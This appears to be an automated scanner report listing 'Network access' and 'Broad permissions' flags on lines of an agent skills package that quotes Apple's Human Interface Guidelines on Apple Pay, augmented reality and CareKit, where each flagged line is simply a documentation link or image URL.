    ### [Customizing the payment sheet](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Customizing-the-payment-sheet)
  • Network accessline 91
    **Let people choose the shipping method in the payment sheet.** To the extent space permits, show a clear description, a cost, and, optionally, an estimated delivery or pickup date — or range of dates — for each available option. In iOS 15 
  • Network accessline 95
    **Use line items to explain additional charges, discounts, pending costs, add-on donations, recurring, and future payments.** A line item includes a label and cost; a line item for a recurring payment can also include a frequency. Don’t use
  • Network accessline 102
    ![A screenshot of an in-app payment sheet that includes an additional charge for gift wrap and a credit applied for a coupon.](https://docs-assets.developer.apple.com/published/b3d9d7f7a3968b37723a73f7332a3ec8/payment-sheet-ios%402x.png)
  • Network accessline 104
    ![A screenshot of a webpage payment sheet that includes an additional charge for gift wrap and a credit applied for a coupon.](https://docs-assets.developer.apple.com/published/ff1b8604f18eb85fb8b6cf4662399b5b/payment-sheet-web%402x.png)
  • Network accessline 114
    **Handle data entry and payment errors gracefully.** If an error occurs during checkout, help people resolve it quickly so they can complete their transaction. For related guidance, see [Data validation](https://developer.apple.com/design/h
  • Network accessline 116
    ### [Displaying a website icon](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Displaying-a-website-icon)
  • Network accessline 126
    ![An illustration of an Apple Pay payment sheet on iPhone, which shows a website icon above the payment details.](https://docs-assets.developer.apple.com/published/69ae379313b720a151bf5eda6edc712f/web-icon-payment%402x.png)
  • Network accessline 128
    ## [Handling errors](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Handling-errors)
  • Network accessline 132
    ### [Data validation](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Data-validation)
  • Network accessline 141
    ![A screenshot of an in-app Apple Pay payment sheet on iPhone that shows an error with the shipping address.](https://docs-assets.developer.apple.com/published/057eb557e82a7dc0d59ff9d65470088d/pay-sheet-error-ios%402x.png)
  • Network accessline 145
    ![A screenshot of an in-app shipping screen on iPhone. The screen denotes the zip code doesn't match the city for the home address. Options exist to select or add a different shipping address.](https://docs-assets.developer.apple.com/publis
  • Network accessline 149
    ![A screenshot of a webpage Apple Pay payment sheet that shows an error with the shipping address.](https://docs-assets.developer.apple.com/published/0c3c7e0628e9de82ef6d42745b1f248c/pay-sheet-error-web%402x.png)Payment sheet error messagin
  • Network accessline 151
    ![A screenshot of a webpage Apple Pay payment sheet that shows an error with the shipping address. An overlay appears over the payment sheet and denotes the zip code doesn't match the city for the home address. Options exist to select a dif
  • Network accessline 155
    For developer guidance, see [`PKPaymentAuthorizationViewControllerDelegate`](https://developer.apple.com/documentation/PassKit/PKPaymentAuthorizationViewControllerDelegate) (iOS, watchOS) and [Apple Pay on the Web](https://developer.apple.c
  • Network accessline 163
    **Provide accurate status reporting to the system.** When a problem occurs, it’s essential that your app or website accurately indicate the type of problem so the system can show the most relevant error message on the payment sheet. This is
  • Network accessline 167
    ### [Payment processing](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Payment-processing)
  • Network accessline 169
    **Handle interruptions correctly.** A user-driven event like a cancellation or a system-driven event like a timeout could cause an interruption in the payment flow, resulting in the payment sheet being dismissed. When such an event occurs, 
  • Network accessline 171
    ## [Supporting subscriptions](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Supporting-subscriptions)
  • Network accessline 180
    ![A screenshot of an in-app Apple Pay payment sheet for a fixed subscription, which includes a monthly amount.](https://docs-assets.developer.apple.com/published/598121af8dc2f5d00ce80d355d6d2729/fixed-subscription-ios%402x.png)
  • Network accessline 184
    ![A screenshot of an in-app Apple Pay payment sheet for a variable subscription, which includes the text 'Amount Pending'.](https://docs-assets.developer.apple.com/published/a24e657401a34cab6c8ab0c1d03ef486/variable-subscription-ios%402x.pn
  • Network accessline 188
    ![A screenshot of a webpage Apple Pay payment sheet for a fixed subscription, which includes a monthly amount.](https://docs-assets.developer.apple.com/published/75a6f66060365e76b23843a88f224cf7/fixed-subscription-web%402x.png)Fixed subscri
  • Network accessline 190
    ![A screenshot of a webpage Apple Pay payment sheet for a variable subscription, which includes the text 'Amount Pending'.](https://docs-assets.developer.apple.com/published/3634a4f2623354156da063d269487042/variable-subscription-web%402x.pn
  • Network accessline 201
    ![A screenshot of an in-app Apple Pay payment sheet for a fixed subscription that doesn’t require payment until after the first month. The total shows a zero dollar amount.](https://docs-assets.developer.apple.com/published/8ed56d3b421d47c4
  • Network accessline 205
    ![A screenshot of a webpage Apple Pay payment sheet for a fixed subscription that doesn’t require payment until after the first month. The total shows a zero dollar amount.](https://docs-assets.developer.apple.com/published/f209fbe0a166cb02
  • Network accessline 211
    ### [Supporting donations](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Supporting-donations)
  • Network accessline 213
    [Approved nonprofits](https://developer.apple.com/support/apple-pay-nonprofits/) can use Apple Pay to accept donations.
  • Network accessline 219
    ## [Using Apple Pay buttons](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Using-Apple-Pay-buttons)
  • Network accessline 221
    The system provides several Apple Pay button types and styles you can use in your app or website. In contrast to the Apple Pay buttons, you use the [Apple Pay mark](https://developer.apple.com/design/human-interface-guidelines/apple-pay#App
  • Network accessline 225
    For developer guidance, see [`PKPaymentButtonType`](https://developer.apple.com/documentation/PassKit/PKPaymentButtonType) and [`PKPaymentButtonStyle`](https://developer.apple.com/documentation/PassKit/PKPaymentButtonStyle) (iOS and macOS),
  • Network accessline 227
    ### [Button types](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Button-types)
  • Network accessline 246
    Payment button type| Example usage   ---|---   ![Buy with Apple Pay button](https://docs-assets.developer.apple.com/published/c63bb3158d4973c31f4f2e76adee2d68/button-buy-with%402x.png)| An area in an app or website where people can make a p
  • Network accessline 247
    ---|---   ![Buy with Apple Pay button](https://docs-assets.developer.apple.com/published/c63bb3158d4973c31f4f2e76adee2d68/button-buy-with%402x.png)| An area in an app or website where people can make a purchase, such as a product detail pag
  • Network accessline 248
    ![Buy with Apple Pay button](https://docs-assets.developer.apple.com/published/c63bb3158d4973c31f4f2e76adee2d68/button-buy-with%402x.png)| An area in an app or website where people can make a purchase, such as a product detail page or shopp
  • Network accessline 249
    ![Pay with Apple Pay button](https://docs-assets.developer.apple.com/published/d1dc839a6cd292c468d42c4f7fa20fc8/button-pay-with%402x.png)| An app or website that lets people pay bills or invoices, such as those for a utility — like cable or
  • Network accessline 250
    ![Check out with Apple Pay button](https://docs-assets.developer.apple.com/published/938ad772f7ba7140ee7c7b032337f8c4/button-check-out-with%402x.png)| An app or website offering a shopping cart or purchase experience that includes other pay
  • Network accessline 251
    ![Continue with Apple Pay button](https://docs-assets.developer.apple.com/published/83f8c34a93a972f8cedf64cac44cdad3/button-continue-with%402x.png)| An app or website offering a shopping cart or purchase experience that includes other payme
  • Network accessline 252
    ![Book with Apple Pay button](https://docs-assets.developer.apple.com/published/c5ceac3ac7e040e6106f95fa72286231/button-book-with%402x.png)| An app or website that helps people book flights, trips, or other experiences.
  • Network accessline 253
    ![Donate with Apple Pay button](https://docs-assets.developer.apple.com/published/36b4b86965004357d73697f65a56c741/button-donate-with%402x.png)| An app or website for an [approved nonprofit](https://developer.apple.com/support/apple-pay-non
  • Network accessline 254
    ![Subscribe with Apple Pay button](https://docs-assets.developer.apple.com/published/f26578120fff5b938b6894963a947cc8/button-subscribe-with%402x.png)| An app or website that lets people purchase a subscription, such as a gym membership or a
  • Network accessline 255
    ![Reload with Apple Pay button](https://docs-assets.developer.apple.com/published/18ff812da6b0212e8d4b5c9644c2c7dc/button-reload-with%402x.png)| An app or website that uses the term _reload_ to help people add money to a card, account, or p
  • Network accessline 256
    ![Add Money with Apple Pay button](https://docs-assets.developer.apple.com/published/0d5b936ea985c356fdb99f879224a0f3/button-add-money-with%402x.png)| An app or website that uses the term _add money_ to help people add money to a card, acco
  • Network accessline 257
    ![Top Up with Apple Pay button](https://docs-assets.developer.apple.com/published/747433b17fdd5b2f6f8f0aa76acf4a11/button-top-up-with%402x.png)| An app or website that uses the term _top up_ to help people add money to a card, account, or p
  • Network accessline 258
    ![Order with Apple Pay button](https://docs-assets.developer.apple.com/published/d7c48459937a938855d22653d7d04a2b/button-order-with%402x.png)| An app or website that lets people place orders for items like meals or flowers.
  • Network accessline 259
    ![Rent with Apple Pay button](https://docs-assets.developer.apple.com/published/30470f4c261461682b066b8d1f1c9079/button-rent-with%402x.png)| An app or website that lets people rent items like cars or scooters.
  • Network accessline 260
    ![Support with Apple Pay button](https://docs-assets.developer.apple.com/published/c597752d72d4df70bf18946f4c1d7007/button-support-with%402x.png)| An app or website that uses the term _support_ to help people give money to projects, causes,
  • Network accessline 261
    ![Contribute with Apple Pay button](https://docs-assets.developer.apple.com/published/93488e8f05b54ba3b62aaeb891b70aa9/button-contribute-with%402x.png)| An app or website that uses the term _contribute_ to help people give money to projects
  • Network accessline 262
    ![Tip with Apple Pay button](https://docs-assets.developer.apple.com/published/75b841bad8e7857633b61b7e96aa6660/button-tip-with%402x.png)| An app or website that lets people tip for goods or services.
  • Network accessline 263
    ![Apple Pay button](https://docs-assets.developer.apple.com/published/61bec328eef83e2a656d8f82768c219e/ap-button%402x.png)| An app or website that has stylistic reasons to use a button that can have a smaller minimum width or that doesn’t s
  • Network accessline 267
    ![Set up Apple Pay button](https://docs-assets.developer.apple.com/published/6cd4e0f51f10a280e70eb9cc2325d1d1/button-set-up%402x.png)
  • Network accessline 271
    ### [Button styles](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Button-styles)
  • Network accessline 273
    You can use the _automatic_ style to let the current system appearance determine the appearance of the Apple Pay buttons in your app (for developer guidance, see [`PKPaymentButtonStyle.automatic`](https://developer.apple.com/documentation/P
  • Network accessline 275
    #### [Black](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Black)
  • Network accessline 279
    ![An illustration showing the correct placement of a black Apple Pay button over a light background.](https://docs-assets.developer.apple.com/published/a43fe0ccf43a3a34f043949225b6c4d5/apple-pay-black-yes%402x.png)
  • Network accessline 281
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 283
    ![An illustration showing the incorrect placement of a black Apple Pay button over a dark background.](https://docs-assets.developer.apple.com/published/ef1773a19ca65487a65f75bb99496c40/apple-pay-black-no%402x.png)
  • Network accessline 285
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 287
    #### [White with outline](https://developer.apple.com/design/human-interface-guidelines/apple-pay#White-with-outline)
  • Network accessline 291
    ![An illustration showing the correct placement of a white, outlined Apple Pay button over a light background.](https://docs-assets.developer.apple.com/published/3ae557e25ef4b90277cd75d448fef392/apple-pay-outline-yes%402x.png)
  • Network accessline 293
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 295
    ![An illustration showing the incorrect placement of a white, outlined Apple Pay button over a dark background.](https://docs-assets.developer.apple.com/published/0f49f420cd2712bd8a285c56ce7dee2f/apple-pay-outline-no%402x.png)
  • Network accessline 297
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 299
    #### [White](https://developer.apple.com/design/human-interface-guidelines/apple-pay#White)
  • Network accessline 303
    ![An illustration showing the correct placement of a white Apple Pay button over a dark background.](https://docs-assets.developer.apple.com/published/8e5e6f393b1c53f2e6e3a778663d0236/apple-pay-white-yes%402x.png)
  • Network accessline 305
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 307
    ![An illustration showing the incorrect placement of a white Apple Pay button over a light background.](https://docs-assets.developer.apple.com/published/d0cf8a7d077fcc20e2cc86ebd5e8261e/apple-pay-white-no%402x.png)
  • Network accessline 309
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 311
    ### [Button size and position](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Button-size-and-position)
  • Network accessline 315
    ![An illustration showing an Apple Pay button positioned correctly above a custom Add to Cart button. Both buttons are the same size.](https://docs-assets.developer.apple.com/published/b201eefa5937df07aa4fcff10cf3ac36/ap-same-size-correct%4
  • Network accessline 317
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 319
    ![An illustration showing an Apple Pay button positioned incorrectly at a smaller size above a larger custom Add to Cart button.](https://docs-assets.developer.apple.com/published/53a56e2127330516c38ffda8308e7f82/ap-smaller-incorrect%402x.p
  • Network accessline 321
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 325
    ![An illustration showing a Check Out with Apple Pay button correctly positioned to the right of a custom Add to Cart button.](https://docs-assets.developer.apple.com/published/3d08f86fef8bbf8ef8d0bb30e95911e0/ap-right-side-correct%402x.png
  • Network accessline 327
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 329
    ![An illustration showing a Check Out with Apple Pay button incorrectly positioned to the left of a custom Add to Cart button.](https://docs-assets.developer.apple.com/published/f2b08052e5161c66959816ab2949e4b5/ap-left-side-incorrect%402x.p
  • Network accessline 331
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 335
    ![An illustration of a Check Out with Apple Pay button correctly positioned above a custom Add to Cart button.](https://docs-assets.developer.apple.com/published/b201eefa5937df07aa4fcff10cf3ac36/ap-top-correct%402x.png)
  • Network accessline 337
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 339
    ![An illustration of a Check Out with Apple Pay button incorrectly positioned below a custom Add to Cart button.](https://docs-assets.developer.apple.com/published/2cd6a51f04852337fc16dacb58198851/ap-below-incorrect%402x.png)
  • Network accessline 341
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 343
    **Adjust the corner radius to match the appearance of other buttons.** By default, an Apple Pay button has rounded corners. You can change the corner radius to produce a button with square corners or a capsule-shape button. For developer gu
  • Network accessline 345
    ![An illustration showing a Check Out with Apple Pay button above a custom Add to Cart button. Both buttons have 90-degree corners.](https://docs-assets.developer.apple.com/published/d910506f4d9d613db7d6c977fcba8fbd/minimum-corner-radii%402
  • Network accessline 347
    ![An illustration showing a Check Out with Apple Pay button above a custom Add to Cart button. Both buttons have the default corner radius.](https://docs-assets.developer.apple.com/published/3788cd425c4fac8526a8888bc08bfedf/default-corner-r
  • Network accessline 349
    ![An illustration showing a Check Out with Apple Pay button above a custom Add to Cart button. Both buttons have the maximum corner radius, which results in a lozenge-like appearance.](https://docs-assets.developer.apple.com/published/bc7e5
  • Network accessline 357
    ![An illustration of an Apple Pay button, labeled to indicate minimum margins of one-tenth the button’s height, a 100-point minimum width, and a 30-point minimum height.](https://docs-assets.developer.apple.com/published/b87d2cdec70ad67f8b0
  • Network accessline 359
    ![An illustration of a Donate with Apple Pay button, labeled to indicate minimum margins of one-tenth the button’s height, a 140-point minimum width, and a 30-point minimum height.](https://docs-assets.developer.apple.com/published/e7aede97
  • Network accessline 373
    ### [Apple Pay mark](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Apple-Pay-mark)
  • Network accessline 375
    Use the Apple Pay mark graphic to show that Apple Pay is an available payment option when showing other payment options in a similar manner. The Apple Pay mark isn’t a button; if you need an Apple Pay button, choose one of the buttons descr
  • Network accessline 377
    ![A row of four credit card logos, all of which are the same size and shape. The leftmost logo is the Apple Pay mark.](https://docs-assets.developer.apple.com/published/eb623bea0d2c8176ba590efef4493b9d/apple-pay-mark-with-payment-options%40
  • Network accessline 383
    Download the Apple Pay mark graphic and full usage guidelines [here](https://developer.apple.com/apple-pay/marketing/).
  • Network accessline 385
    ## [Referring to Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Referring-to-Apple-Pay)
  • Network accessline 387
    As with all Apple product names, use Apple Pay exactly as shown in [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademark/appletmlist.html) — never make it plural or possessive — and adhere to [Guidelines for Usi
  • Network accessline 395
    | Example text   ---|---   ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Purchase with Apple Pay
  • Network accessline 396
    ---|---   ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Purchase with Apple Pay   ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267b
  • Network accessline 397
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Purchase with Apple Pay
  • Network accessline 398
    ![Correct usage](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)| Purchase with Apple Pay®
  • Network accessline 399
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| Purchase with ApplePay
  • Network accessline 400
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| Purchase with  Pay
  • Network accessline 401
    ![Incorrect usage](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)| Purchase with APPLE PAY
  • Network accessline 407
    **In a payment selection context, you can display a text-only description of Apple Pay only when all payment options have text-only descriptions.** If any other payment option description includes an icon or logo, you must use the Apple Pay
  • Network accessline 409
    **When promoting your app’s use of Apple Pay, follow App Store guidelines.** Before promoting Apple Pay for your app, refer to the [App Store marketing guidelines](https://developer.apple.com/app-store/marketing/guidelines/).
  • Network accessline 411
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Platform-considerations)
  • Network accessline 415
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Resources)
  • Network accessline 417
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Related)
  • Network accessline 419
    [Apple Pay Marketing Guidelines](https://developer.apple.com/apple-pay/marketing/)
  • Network accessline 421
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Developer-documentation)
  • Network accessline 423
    [Apple Pay](https://developer.apple.com/documentation/PassKit/apple-pay) — PassKit
  • Network accessline 425
    [Apple Pay on the Web](https://developer.apple.com/documentation/ApplePayontheWeb)
  • Network accessline 427
    [`WKInterfacePaymentButton`](https://developer.apple.com/documentation/WatchKit/WKInterfacePaymentButton) — WatchKit
  • Network accessline 429
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Videos)
  • Network accessline 431
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/FC715972-F367-4C86-A291-5C0358E5E230/9873_wide_250x141_1x.jpg) What’s new in Apple Pay ](https://developer.apple.com/videos/play/wwdc2025/201)
  • Network accessline 433
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Change-log)

skills/hig-technologies/references/augmented-reality.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Augmented reality | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/augmented-reality
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/augmented-reality
  • Network accessline 9
    ![A sketch of an AR icon, suggesting augmented reality. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.
  • Network accessline 11
    Using the device’s camera to present the physical world onscreen live, your app can superimpose three-dimensional virtual objects, creating the illusion that these objects actually exist. Depending on the platform and the experiences your a
  • Network accessline 13
    **Offer AR features only on capable devices.** If your app’s primary purpose is AR, make your app available only to devices that support ARKit. If your app includes features that require specific AR capabilities, or if AR features are optio
  • Network accessline 17
    The following guidance applies to apps that run in iOS and iPadOS. To learn about using ARKit to create immersive augmented reality experiences in visionOS, see [ARKit](https://developer.apple.com/documentation/ARKit).
  • Network accessline 19
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Best-practices)
  • Network accessline 27
    **Use audio and haptics to enhance the immersive experience.** A sound effect or bump sensation is a great way to confirm that a virtual object has made contact with a physical surface or other virtual object. Background music can also help
  • Network accessline 35
    ![A screenshot of the Measure app on iPhone showing a bunch of carrots. A line segment extends from one end of a carrot to the other end. The measurement is four and a half inches.](https://docs-assets.developer.apple.com/published/8a3faa90
  • Network accessline 45
    ## [Providing coaching](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Providing-coaching)
  • Network accessline 47
    Before people can enjoy an AR experience in your app, they need to move their device in ways that lets ARKit evaluate the surroundings and detect surfaces. Consider using the built-in coaching view to show people what to do and provide feed
  • Network accessline 49
    ![An illustration of an iPhone screen showing the corner of a room viewed through the camera. On the screen is a translucent overlay containing the surface-detection indicator. The indicator is a white square with rounded corners projected 
  • Network accessline 55
    ## [Helping people place objects](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Helping-people-place-objects)
  • Network accessline 59
    ![An illustration of a complex visual placement indicator consisting of a circular shape with markers indicating a center and diameter, inside right-angle shapes framing a square. The indicator is shown in 3D perspective with the longest ed
  • Network accessline 61
    **When people place an object, immediately integrate that object into the AR environment.** Although surface detection quickly and progressively refines accuracy, it’s best to avoid waiting for more accurate data before placing an object. U
  • Network accessline 69
    ## [Designing object interactions](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Designing-object-interactions)
  • Network accessline 73
    ![An illustration showing a cube and a hand with the index finger touching the cube. There's a curved line intersecting the finger and cube to indicate the movement of the finger to the right as it directly manipulates the object.](https://
  • Network accessline 75
    ![An illustration showing a cube. Below the cube are two buttons, each with a circular arrow pointing in the opposite direction, offering indirect ways to rotate the cube.](https://docs-assets.developer.apple.com/published/dcd7ceea5314b22c0
  • Network accessline 77
    **Let people directly interact with virtual objects using standard, familiar gestures.** For example, consider supporting a single-finger drag gesture for moving objects, and a two-finger rotation gesture for spinning objects. For guidance,
  • Network accessline 81
    ![An illustration showing a sphere. The base of the sphere is on a grid. Two lines that are parallel to the grid and perpendicular to each other pass through the center of the sphere. There's an arrow at the tip of each line, indicating mov
  • Network accessline 83
    ![An illustration showing a sphere. A dotted line runs vertically through the center of the sphere. An arrow wraps around the outside of the sphere and the vertical line, from left to right, indicating the ability to rotate the sphere aroun
  • Network accessline 99
    ## [Offering a multiuser experience](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Offering-a-multiuser-experience)
  • Network accessline 101
    When multiple people share your app’s AR experience, each participant maps the environment independently and ARKit automatically merges the maps. For developer guidance, see [`isCollaborationEnabled`](https://developer.apple.com/documentati
  • Network accessline 103
    **Consider allowing people occlusion.** If your app supports placing virtual objects behind people who appear in the device’s camera feed, enhance the illusion of reality by letting the people occlude the objects. For developer guidance, se
  • Network accessline 105
    **When possible, let new participants enter a multiuser AR experience.** Unless your app requires all participants to join before the experience begins, consider using implicit map merging to let new people quickly join an ongoing AR experi
  • Network accessline 107
    ## [Reacting to real-world objects](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Reacting-to-real-world-objects)
  • Network accessline 109
    You can enhance an AR experience by using known images and objects in the real-world environment to make virtual content appear. For example, an app that recognizes theater posters for a sci-fi film could cause virtual space ships to emerge
  • Network accessline 117
    ## [Communicating with people](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Communicating-with-people)
  • Network accessline 130
    ![An illustration of a cube. The base of the cube is indicated with a grid, and the active side of the cube is outlined in blue. Arrows follow a continuous circle around the cube to the right, hinting that the cube can be rotated within the
  • Network accessline 132
    ![An illustration of a cube. The base of the cube is indicated with a grid, and underneath the cube is the word Rotate, hinting that the cube can be rotated within the 3D space.](https://docs-assets.developer.apple.com/published/d60c7354a3e
  • Network accessline 138
    ![An illustration of an iPhone screen in landscape orientation showing the corner of a room viewed through the camera. In the room are two AR objects: a desk and a chair. Each object has a label attached to the object by a vertical line. Th
  • Network accessline 142
    ![An illustration of an iPhone screen in landscape orientation showing a full-screen view with the detailed information for a chair. On the left side of the screen is an image of the chair, in the middle is a vertical separator line, and on
  • Network accessline 146
    ## [Handling interruptions](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Handling-interruptions)
  • Network accessline 148
    ARKit can’t track device position and orientation during an interruption, such as when people briefly switch to another app or accept a phone call. After an interruption ends, previously placed virtual objects are likely to appear in the wr
  • Network accessline 152
    ![An illustration of an iPhone screen showing the corner of a room viewed through the camera. On the screen is a translucent overlay containing the surface-detection indicator. The indicator is a white square with rounded corners projected 
  • Network accessline 162
    ## [Suggesting problem resolutions](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Suggesting-problem-resolutions)
  • Network accessline 166
    ![An illustration showing a corner of a brightly lit office that contains a desk and chair.](https://docs-assets.developer.apple.com/published/13887c5129d1c8add4ff07c5b0ba86e5/augmented-reality-sufficient-lighting%402x.png)Sufficient lighti
  • Network accessline 168
    ![An illustration showing a corner of a dark office that contains a desk and chair.](https://docs-assets.developer.apple.com/published/346b5de0b7f08b0a510192cae8189cab/augmented-reality-insufficient-lighting%402x.png)Insufficient lighting
  • Network accessline 178
    ## [Icons and badges](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Icons-and-badges)
  • Network accessline 180
    Apps can display an AR icon in controls that launch ARKit-based experiences. You can download this icon in [Resources](https://developer.apple.com/design/resources/#ios-apps).
  • Network accessline 182
    ![The AR glyph.](https://docs-assets.developer.apple.com/published/05428c411e6c937857838da1fa944416/augmented-reality-glyph%402x.png)
  • Network accessline 184
    ![A button containing the AR glyph and the text View in AR.](https://docs-assets.developer.apple.com/published/5df46e31e22d0b25d2ad1a5e6342eb1d/augmented-reality-glyph-button%402x.png)
  • Network accessline 190
    ![An illustration that shows the AR glyph centered within a frame that represents the minimum clear space to leave around the glyph.](https://docs-assets.developer.apple.com/published/4a22c5126bd05f8291ab3637b01c89b9/augmented-reality-glyph
  • Network accessline 194
    ![An illustration of a partial iPhone screen. On the screen is an app with four gray squares in a grid layout, each containing a picture of a vintage toy: one robot, and three rocket ships. In the upper left corner of each square is the AR 
  • Network accessline 196
    **Use the AR badges as intended and don’t alter them.** You can download AR badges, available in collapsed and expanded form, in [Resources](https://developer.apple.com/design/resources/#ios-apps). Use these images exclusively to identify p
  • Network accessline 198
    ![The AR badge with both the glyph and the text AR.](https://docs-assets.developer.apple.com/published/65ae0b4baf76d633cb247880b2c4f338/augmented-reality-badge-iconandtext%402x.png)AR badge
  • Network accessline 200
    ![The glyph-only AR badge.](https://docs-assets.developer.apple.com/published/807119fbf8f1c62a35dddde3fdc0a026/augmented-reality-badge-icon%402x.png)Glyph-only AR badge
  • Network accessline 210
    ![An illustration of the AR badge with the AR glyph and text AR. A frame surrounds the badge to indicate leaving clear space around the badge.](https://docs-assets.developer.apple.com/published/ac95fbcb89cd066b471e15c74e0475b4/augmented-rea
  • Network accessline 212
    ![An illustration of the glyph-only AR badge. A frame surrounds the badge to indicate leaving clear space around the badge.](https://docs-assets.developer.apple.com/published/6b63f2ad4df182c7be792b90e56abec7/augmented-reality-badge-icon-cle
  • Network accessline 214
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Platform-considerations)
  • Network accessline 218
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#visionOS)
  • Network accessline 220
    With the wearer’s [permission](https://developer.apple.com/design/human-interface-guidelines/privacy#visionOS), you can use ARKit in your visionOS app to detect surfaces in a person’s surroundings, use a person’s hand and finger postions to
  • Network accessline 228
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Resources)
  • Network accessline 230
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Related)
  • Network accessline 232
    [Playing haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics)
  • Network accessline 234
    [Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures)
  • Network accessline 236
    [Apple Design Resources](https://developer.apple.com/design/resources/#ios-apps)
  • Network accessline 238
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Developer-documentation)
  • Network accessline 240
    [ARKit](https://developer.apple.com/documentation/ARKit)
  • Network accessline 242
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Videos)
  • Network accessline 244
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/D9569ADB-FA90-4DB7-9987-A4366BA0E921/6628_wide_250x141_1x.jpg) Qualities of great AR experiences ](https://developer.apple.com/videos/play/wwdc2022/10131)
  • Network accessline 246
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/53F3827F-2C69-44D5-9D85-73AF3FF759FD/4965_wide_250x141_1x.jpg) Explore ARKit 5 ](https://developer.apple.com/videos/play/wwdc2021/10073)

skills/hig-technologies/references/carekit.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "CareKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/carekit
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/carekit
  • Network accessline 9
    ![A sketch of the CareKit icon. The image is overlaid with rectangular and circular grid lines and is tinted blue to subtly reflect the blue in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/ca3abb9c56
  • Network accessline 11
    To learn more about CareKit, see [Research & Care > CareKit](https://www.researchandcare.org/carekit/).
  • Network accessline 13
